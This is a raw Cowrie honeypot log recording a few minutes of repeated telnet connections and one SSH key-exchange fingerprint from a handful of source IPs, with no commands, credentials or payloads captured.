{"eventid":"cowrie.session.closed","duration":30.385871171951294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:45.177422Z","src_ip":"167.71.198.239","session":"bc5d9463d126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":38608,"dst_ip":"10.17.0.5","dst_port":23,"session":"107e6a952543","protocol":"telnet","message":"New connection: 85.190.254.94:38608 (10.17.0.5:23) [session: 107e6a952543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:45.254744Z"}
{"eventid":"cowrie.session.closed","duration":30.139882802963257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:46.061566Z","src_ip":"85.190.254.94","session":"cc2210ae7623","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.354127883911133,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:46.074521Z","src_ip":"85.190.254.94","session":"099f718de9f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.534046173095703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:46.149409Z","src_ip":"167.71.198.239","session":"82fa117c88cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.357674837112427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:46.285808Z","src_ip":"167.71.198.239","session":"da64eda19e21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":58506,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8ce3c3d823d","protocol":"telnet","message":"New connection: 167.71.198.239:58506 (159.203.135.109:23) [session: b8ce3c3d823d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:46.798707Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45522,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fdb6d77c40a","protocol":"telnet","message":"New connection: 85.190.254.94:45522 (10.17.0.5:23) [session: 8fdb6d77c40a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:47.164283Z"}
{"eventid":"cowrie.session.closed","duration":30.58774209022522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:48.278295Z","src_ip":"167.71.198.239","session":"260d0121a5d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":51952,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a6ac62af49a","protocol":"telnet","message":"New connection: 85.190.254.94:51952 (10.17.0.5:23) [session: 8a6ac62af49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:48.841258Z"}
{"eventid":"cowrie.session.closed","duration":30.49617862701416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:49.065334Z","src_ip":"85.190.254.94","session":"866c8af5e7f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19090461730957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:49.069893Z","src_ip":"85.190.254.94","session":"e71adfe0d4c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24139952659607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:49.096891Z","src_ip":"85.190.254.94","session":"e60451251ae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":54074,"dst_ip":"10.17.0.5","dst_port":23,"session":"f147af8fd2e0","protocol":"telnet","message":"New connection: 85.190.254.94:54074 (10.17.0.5:23) [session: f147af8fd2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:49.426957Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":54122,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae3dd8ebfeff","protocol":"telnet","message":"New connection: 85.190.254.94:54122 (10.17.0.5:23) [session: ae3dd8ebfeff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:49.445351Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":33576,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d9d37aa5225","protocol":"telnet","message":"New connection: 167.71.198.239:33576 (159.203.135.109:23) [session: 4d9d37aa5225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:49.693432Z"}
{"eventid":"cowrie.session.closed","duration":31.555354595184326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:49.900907Z","src_ip":"167.71.198.239","session":"205c8fdfae81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.744755268096924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:50.041570Z","src_ip":"167.71.198.239","session":"dd3a4131f00a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.668673276901245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:50.050162Z","src_ip":"85.190.254.94","session":"9ada2242d6ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.657253742218018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:50.070078Z","src_ip":"85.190.254.94","session":"f60ee14fe7e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4798686504364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:50.081084Z","src_ip":"85.190.254.94","session":"c830243a00d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57144,"dst_ip":"10.17.0.5","dst_port":23,"session":"8177beef09d4","protocol":"telnet","message":"New connection: 85.190.254.94:57144 (10.17.0.5:23) [session: 8177beef09d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:50.371244Z"}
{"eventid":"cowrie.session.closed","duration":30.821305513381958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:50.442942Z","src_ip":"85.190.254.94","session":"c9fc293e8bb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57554,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca9512742d93","protocol":"telnet","message":"New connection: 85.190.254.94:57554 (10.17.0.5:23) [session: ca9512742d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:50.475695Z"}
{"eventid":"cowrie.session.closed","duration":31.185397624969482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:51.160342Z","src_ip":"85.190.254.94","session":"6eee70c7ab9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.557049989700317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:51.205585Z","src_ip":"167.71.198.239","session":"719d90bc3279","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24306344985962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:51.371581Z","src_ip":"167.71.198.239","session":"60e9150704e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79474425315857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:52.076982Z","src_ip":"85.190.254.94","session":"a2a2df5db6af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.502740383148193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:52.095338Z","src_ip":"85.190.254.94","session":"3a465741261f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.807997226715088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:52.209808Z","src_ip":"136.244.67.81","session":"f682accc01f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3214693069458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:52.224698Z","src_ip":"85.190.254.94","session":"05a8be6419b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":35652,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd371ba81d5a","protocol":"telnet","message":"New connection: 85.190.254.94:35652 (10.17.0.5:23) [session: dd371ba81d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:52.306539Z"}
{"eventid":"cowrie.session.closed","duration":31.377437114715576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:52.602086Z","src_ip":"167.71.198.239","session":"284672698765","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":36898,"dst_ip":"159.203.135.109","dst_port":23,"session":"404b0f68212b","protocol":"telnet","message":"New connection: 167.71.198.239:36898 (159.203.135.109:23) [session: 404b0f68212b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:52.739987Z"}
{"eventid":"cowrie.session.closed","duration":30.486778736114502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:53.068049Z","src_ip":"85.190.254.94","session":"07e45fd61da6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.620682954788208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:53.085161Z","src_ip":"85.190.254.94","session":"d3cfecb8533e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33592963218689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:53.120535Z","src_ip":"85.190.254.94","session":"6ff009caa9b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.150968313217163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:53.463947Z","src_ip":"167.71.198.239","session":"a016dfb51aae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.416157007217407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:53.488593Z","src_ip":"167.71.198.239","session":"fbc1e6de5687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":40446,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a19b2f22337","protocol":"telnet","message":"New connection: 85.190.254.94:40446 (10.17.0.5:23) [session: 3a19b2f22337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:53.646518Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":41708,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaa08403d042","protocol":"telnet","message":"New connection: 85.190.254.94:41708 (10.17.0.5:23) [session: aaa08403d042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:53.990645Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":42948,"dst_ip":"10.17.0.5","dst_port":23,"session":"e00233c3bf83","protocol":"telnet","message":"New connection: 85.190.254.94:42948 (10.17.0.5:23) [session: e00233c3bf83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:54.387371Z"}
{"eventid":"cowrie.session.closed","duration":31.365505695343018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:55.028782Z","src_ip":"167.71.198.239","session":"b7df85706731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71462869644165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:55.081126Z","src_ip":"85.190.254.94","session":"f0f266659f4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.554434299468994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:55.240503Z","src_ip":"167.71.198.239","session":"8f79f27579b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":46560,"dst_ip":"10.17.0.5","dst_port":23,"session":"156675f0776d","protocol":"telnet","message":"New connection: 85.190.254.94:46560 (10.17.0.5:23) [session: 156675f0776d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:55.404439Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":51332,"dst_ip":"159.203.135.109","dst_port":23,"session":"710bbda9f8fa","protocol":"telnet","message":"New connection: 136.244.67.81:51332 (159.203.135.109:23) [session: 710bbda9f8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:56.269670Z"}
{"eventid":"cowrie.session.closed","duration":31.255470037460327,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:56.323813Z","src_ip":"167.71.198.239","session":"8a1ed1c17856","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":50248,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7bb3df2dfbf","protocol":"telnet","message":"New connection: 85.190.254.94:50248 (10.17.0.5:23) [session: e7bb3df2dfbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:56.408494Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":50798,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f87b007cbca","protocol":"telnet","message":"New connection: 85.190.254.94:50798 (10.17.0.5:23) [session: 3f87b007cbca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:56.533024Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":41852,"dst_ip":"159.203.135.109","dst_port":23,"session":"59948c68464f","protocol":"telnet","message":"New connection: 167.71.198.239:41852 (159.203.135.109:23) [session: 59948c68464f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:56.970837Z"}
{"eventid":"cowrie.session.closed","duration":30.150963306427002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:57.049445Z","src_ip":"85.190.254.94","session":"f830f7361c71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":53106,"dst_ip":"10.17.0.5","dst_port":23,"session":"979d3061f365","protocol":"telnet","message":"New connection: 85.190.254.94:53106 (10.17.0.5:23) [session: 979d3061f365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:57.258469Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":51342,"dst_ip":"159.203.135.109","dst_port":23,"session":"33c99c7f7c68","protocol":"telnet","message":"New connection: 136.244.67.81:51342 (159.203.135.109:23) [session: 33c99c7f7c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:57.414689Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":42558,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd6dba051780","protocol":"telnet","message":"New connection: 167.71.198.239:42558 (159.203.135.109:23) [session: cd6dba051780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:57.551044Z"}
{"eventid":"cowrie.session.closed","duration":30.81382656097412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:57.598063Z","src_ip":"167.71.198.239","session":"5c689c594ff3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71492576599121,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:58.060872Z","src_ip":"85.190.254.94","session":"3d6aebb92aeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599373817443848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:58.110462Z","src_ip":"136.244.67.81","session":"b9a23e4ab28c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6163387298584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:58.254937Z","src_ip":"167.71.198.239","session":"f682abc1dcc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.496896982192993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:58.279118Z","src_ip":"167.71.198.239","session":"5489c4e58837","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":57320,"dst_ip":"10.17.0.5","dst_port":23,"session":"25aec60d43aa","protocol":"telnet","message":"New connection: 85.190.254.94:57320 (10.17.0.5:23) [session: 25aec60d43aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:58.446439Z"}
{"eventid":"cowrie.session.closed","duration":30.315789937973022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:59.067173Z","src_ip":"85.190.254.94","session":"a41644a4641d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39741086959839,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:02:59.714655Z","src_ip":"167.71.198.239","session":"dc569c77d44c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"100.27.226.38","src_port":64078,"dst_ip":"159.203.135.109","dst_port":22,"session":"14c0cc9c2aeb","protocol":"ssh","message":"New connection: 100.27.226.38:64078 (159.203.135.109:22) [session: 14c0cc9c2aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:00.046348Z"}
{"eventid":"cowrie.session.closed","duration":30.237954139709473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:00.074590Z","src_ip":"85.190.254.94","session":"0bf1e6502748","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51271343231201,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:00.223149Z","src_ip":"167.71.198.239","session":"849164cdddbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":37316,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae8691ac10fc","protocol":"telnet","message":"New connection: 85.190.254.94:37316 (10.17.0.5:23) [session: ae8691ac10fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:00.745522Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":38260,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f371b6f010f","protocol":"telnet","message":"New connection: 85.190.254.94:38260 (10.17.0.5:23) [session: 8f371b6f010f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:01.010253Z"}
{"eventid":"cowrie.session.closed","duration":30.414127111434937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:01.057825Z","src_ip":"85.190.254.94","session":"8ff7c2d48063","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.712589502334595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:01.095940Z","src_ip":"85.190.254.94","session":"7380d8b9b141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060036182403564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:01.145936Z","src_ip":"85.190.254.94","session":"53d6bcbc38fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":47176,"dst_ip":"159.203.135.109","dst_port":23,"session":"8670267c2eab","protocol":"telnet","message":"New connection: 167.71.198.239:47176 (159.203.135.109:23) [session: 8670267c2eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:01.265064Z"}
{"eventid":"cowrie.session.closed","duration":30.80379843711853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:01.429523Z","src_ip":"167.71.198.239","session":"20bb782c130a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:01.812314Z","src_ip":"100.27.226.38","session":"14c0cc9c2aeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:01.817448Z","src_ip":"100.27.226.38","session":"14c0cc9c2aeb","protocol":"ssh"}
